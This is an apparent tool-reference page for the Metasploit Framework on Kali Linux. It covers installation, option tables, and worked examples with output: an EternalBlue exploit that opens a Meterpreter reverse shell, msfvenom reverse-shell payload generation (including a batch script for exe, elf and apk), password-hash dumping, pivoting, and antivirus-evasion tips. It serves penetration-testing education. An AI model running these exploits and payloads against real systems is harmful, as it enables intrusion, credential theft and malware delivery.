1. Tool Introduction
The Metasploit Framework (MSF) is an open‑source penetration testing platform originally created by H.D. Moore in 2003 and now maintained by Rapid7. It provides a unified environment for developing, testing, and executing exploit code against remote targets. Metasploit ships with thousands of exploit modules, auxiliary modules (scanners, fuzzers, DoS tools), payloads (including the powerful Meterpreter agent), encoders, NOP generators, and post‑exploitation modules for privilege escalation, lateral movement, and data gathering.
Metasploit is built in Ruby and is organized around a modular architecture:
- Exploits – code that takes advantage of a vulnerability.
- Payloads – code delivered and executed on the target after successful exploitation (e.g., Meterpreter, shell, reverse/bind shells).
- Auxiliary modules – scanners, fuzzers, and utilities that don’t necessarily grant code execution.
- Post modules – run after a session is established, for privilege escalation, credential harvesting, pivoting, etc.
- Encoders – used to avoid bad characters/signature-based detection.
- NOPs – no-operation sled generators used in buffer overflow exploits.
Metasploit is the default exploitation framework included in Kali Linux and is the tool most closely associated with the term “exploitation framework.”
2. How to Install
Metasploit comes preinstalled on Kali Linux. To verify or reinstall:
# Check if already installed
which msfconsole
# Update Kali repositories and install/upgrade Metasploit
sudo apt update
sudo apt install metasploit-framework -y
# Initialize the Metasploit database (msfdb) - required for full functionality
sudo msfdb init
# Verify installation
msfconsole -v
On non-Kali Debian/Ubuntu systems, use the official Rapid7 installer script:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
To keep the framework and its module database current:
sudo apt update && sudo apt install metasploit-framework
msfconsole
msf6 > db_status
3. Syntax
Metasploit is primarily driven through its interactive console, msfconsole, though several standalone binaries are also provided.
msfconsole [options]
msfvenom [options]
msfdb [command]
Inside msfconsole, the general command syntax is:
msf6 > <command> [arguments]
msf6 > use <module_path>
msf6 exploit(module) > set <OPTION> <value>
msf6 exploit(module) > run | exploit
4. Command-Line Options (Kali Linux)
msfconsole options:
| Option | Description |
|---|---|
-h, --help | Show help banner |
-q, --quiet | Do not print the banner on startup |
-r <file> | Execute a resource script (.rc) file after starting |
-x <command> | Execute a specific console command on startup |
-o <file> | Output to a log file |
-v, --version | Show version |
-L, --no-readline | Disable readline support (script-friendly mode) |
-n, --no-plugins | Do not load plugins on startup |
-c <config> | Specify a config file |
-y <file> | Specify a YAML datastore file to load |
-m <path> | Specify additional module search path |
-p <plugin> | Load a plugin on startup |
-e <encoding> | Set command encoding |
-a <address> | Database server address (with -d) |
-d | Database driver override |
msfvenom options (payload generator):
| Option | Description |
|---|---|
-p, --payload <payload> | Payload to use (or - for stdin, -l to list) |
-l, --list <type> | List available modules of type (payloads, encoders, nops, all, formats) |
-f, --format <format> | Output format (exe, elf, raw, python, war, apk, etc.) |
-e, --encoder <encoder> | Encoder to use |
-a, --arch <arch> | Target architecture (x86, x64, etc.) |
--platform <platform> | Target platform (windows, linux, android, etc.) |
-o, --out <file> | Save output to file |
-b, --bad-chars <list> | Characters to avoid, e.g. \x00\x0a |
-i, --iterations <n> | Number of encoding iterations |
-x, --template <file> | Use a custom executable template |
-k, --keep | Preserve template behavior when using -x |
-n, --nopsled <length> | Prepend a NOP sled of given length |
-c, --add-code <file> | Add a shellcode file |
-v, --var-name <name> | Custom variable name in generated source |
-s, --smallest | Generate smallest possible payload |
--encrypt <type> | Encrypt the payload |
--encrypt-key <key> | Key for encryption |
-D, --debug | Enable debug output |
msfdb commands:
| Command | Description |
|---|---|
init | Initialize/create the database |
reinit | Delete and recreate the database |
start | Start the database service |
stop | Stop the database service |
status | Show current database status |
delete | Delete the database entirely |
Key in-console commands:
| Command | Description |
|---|---|
search <term> | Search modules by name/CVE/platform |
use <module> | Select a module |
info | Show detailed info about the current module |
show options | Show configurable options |
show payloads | Show compatible payloads |
show targets | Show target platforms/versions |
set <OPT> <val> | Set an option (session‑scoped) |
setg <OPT> <val> | Set an option globally |
unset <OPT> | Remove an option |
run / exploit | Execute the module |
exploit -j | Run as a background job |
back | Deselect current module |
sessions -l | List active sessions |
sessions -i <id> | Interact with a session |
jobs -l | List background jobs |
db_status | Check DB connectivity |
hosts | List discovered hosts |
services | List discovered services |
creds | List captured credentials |
loot | List looted files/data |
workspace | Manage workspaces |
db_nmap | Run nmap and store results in the DB |
db_import | Import scan results (e.g. Nmap XML) |
handler | Start a standalone multi/handler |
irb | Drop into a Ruby shell |
5. Basic Usage (Expected Output in Bash)
$ msfconsole -q
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > search type:exploit eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- ---------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
RPORT 445 yes The target port (TCP)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.10.100
LHOST => 10.10.10.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.10.100:4444
[*] 10.10.10.5:445 - Executing automatic check (exploit/windows/smb/ms17_010_eternalblue)...
[+] 10.10.10.5:445 - Host is likely VULNERABLE to MS17-010!
[*] Sending stage (200262 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.10.100:4444 -> 10.10.10.5:49158)
meterpreter >
6. Practical Examples with Output
Example 1 – Search modules by CVE
msf6 > search cve:2021-34527
Matching Modules
================
# Name Rank Description
- ---- ---- -----------
0 exploit/windows/dcerpc/cve_2021_1675_printnightmare excellent PrintNightmare
Example 2 – Port scanning with an auxiliary module
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24
RHOSTS => 10.10.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445
PORTS => 22,80,443,445
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.10.10.5:445 - TCP OPEN
[+] 10.10.10.5:80 - TCP OPEN
[*] Scanned 256 of 256 hosts (100% complete)
Example 3 – Generating a payload with msfvenom
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
Example 4 – Starting a multi/handler to catch the payload
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.100
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.10.100:4444
Example 5 – Interacting with a Meterpreter session
meterpreter > sysinfo
Computer : WIN-SRV01
OS : Windows Server 2016 (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : CORP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Example 6 – Privilege escalation post module
meterpreter > background
[*] Backgrounding session 1...
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
Example 7 – Dumping hashes with a post module
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(windows/gather/hashdump) > run
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Example 8 – Running an Nmap scan into the workspace database
msf6 > workspace -a client_engagement
[*] Added workspace: client_engagement
msf6 > db_nmap -sV -Pn 10.10.10.0/24
[*] Nmap: Nmap scan report for 10.10.10.5
[*] Nmap: 445/tcp open microsoft-ds Windows Server 2016
msf6 > hosts
Hosts
=====
address name os_name os_flavor
------- ---- ------- ---------
10.10.10.5 Windows Server 2016
Example 9 – Using a resource script for automation
$ cat autopwn.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.100
run
$ msfconsole -q -r autopwn.rc
[*] Processing autopwn.rc for ERB directives.
resource (autopwn.rc)> use exploit/windows/smb/ms17_010_eternalblue
[*] Meterpreter session 1 opened
Example 10 – Pivoting through a compromised host
meterpreter > run autoroute -s 10.10.20.0/24
[*] Adding a route to 10.10.20.0/255.255.255.0...
[+] Added route to 10.10.20.0/255.255.255.0 via 10.10.10.5
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.20.0/24
msf6 auxiliary(scanner/portscan/tcp) > run
7. Common Use Cases
- Exploiting known CVEs against unpatched services during authorized penetration tests.
- Generating custom payloads (
msfvenom) for phishing simulations or physical assessments. - Post-exploitation activities: credential harvesting, privilege escalation, persistence testing.
- Network pivoting through compromised hosts to reach internal segments.
- Vulnerability validation after a vulnerability scanner (e.g., Nessus/OpenVAS) flags a CVE.
- Teaching/learning exploit development and vulnerability research in lab environments (e.g., Metasploitable, HackTheBox, TryHackMe).
- Building a centralized findings database (hosts/services/creds/loot) for a client engagement.
8. Automation with Bash
#!/bin/bash
# auto_msf_scan.sh - Automate an Nmap-driven Metasploit scan/exploit workflow
TARGET_RANGE="10.10.10.0/24"
WORKDIR="/home/kali/engagement_$(date +%F)"
RC_FILE="$WORKDIR/auto.rc"
mkdir -p "$WORKDIR"
cat > "$RC_FILE" <<EOF
workspace -a auto_engagement
db_nmap -sV -Pn $TARGET_RANGE
hosts
services
EOF
msfconsole -q -r "$RC_FILE" -x "spool $WORKDIR/msf_output.log; exit -y"
echo "[*] Scan complete. Review $WORKDIR/msf_output.log"
#!/bin/bash
# batch_msfvenom.sh - Generate multiple payloads for different platforms
LHOST="10.10.10.100"
LPORT=4444
OUTDIR="./payloads"
mkdir -p "$OUTDIR"
declare -A PAYLOADS=(
["windows/x64/meterpreter/reverse_tcp"]="exe"
["linux/x64/meterpreter/reverse_tcp"]="elf"
["android/meterpreter/reverse_tcp"]="apk"
)
for payload in "${!PAYLOADS[@]}"; do
fmt="${PAYLOADS[$payload]}"
outfile="$OUTDIR/payload_$(echo $payload | tr '/' '_').$fmt"
msfvenom -p "$payload" LHOST=$LHOST LPORT=$LPORT -f "$fmt" -o "$outfile"
done
9. Tips and Best Practices
- Always run
msfdb initbefore your first session so results, hosts, and creds persist in PostgreSQL. - Use
workspace -a <name>per engagement to keep client data cleanly separated. - Prefer staged payloads (
/meterpreter/reverse_tcp) on unreliable networks and stageless (_reverse_tcpsingle) payloads when egress filtering is strict. - Use
set ExitOnSession falsecombined withexploit -j -zto keep multi/handler alive for multiple incoming sessions. - Validate exploit applicability with
checkbefore firingexploit, when the module supports it, to reduce noise/crashes on production systems. - Encode/obfuscate payloads and use custom templates (
-x) thoughtfully to reduce AV detection during authorized red-team exercises — never for unauthorized use. - Keep the framework updated (
apt update && apt install metasploit-framework) so new CVEs are covered. - Use
sessions -u <id>to upgrade a plain shell session to Meterpreter when possible.
10. Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
db_status shows “not connected” | PostgreSQL not initialized/running | Run sudo msfdb init then sudo msfdb start |
| Exploit runs but no session opens | Firewall/NAT blocking reverse connection | Use a bind shell or check LHOST/LPORT and routing; try reverse_tcp over common ports (443/80) |
| “Exploit completed, but no session was created” | Target patched, wrong target index, or bad payload arch | Re-check show targets, verify OS/architecture match, try alternate payload |
| msfconsole slow to start | Module cache stale | Run msfconsole once fully then updatedb isn’t required; ensure adequate RAM (2GB+) |
| Payload flagged by antivirus | Signature-based detection | Use custom encoders/templates or a legitimate code-signing/obfuscation pipeline (authorized engagements only) |
| Meterpreter session dies immediately | Migrating to unstable process or unstable network | Use run post/windows/manage/migrate to a stable host process like explorer.exe |
11. References
- Official documentation: https://docs.metasploit.com
- Rapid7 Metasploit GitHub repository: https://github.com/rapid7/metasploit-framework
- Kali Linux tool page: https://www.kali.org/tools/metasploit-framework/
- Offensive Security Metasploit Unleashed course: https://www.offsec.com/metasploit-unleashed/
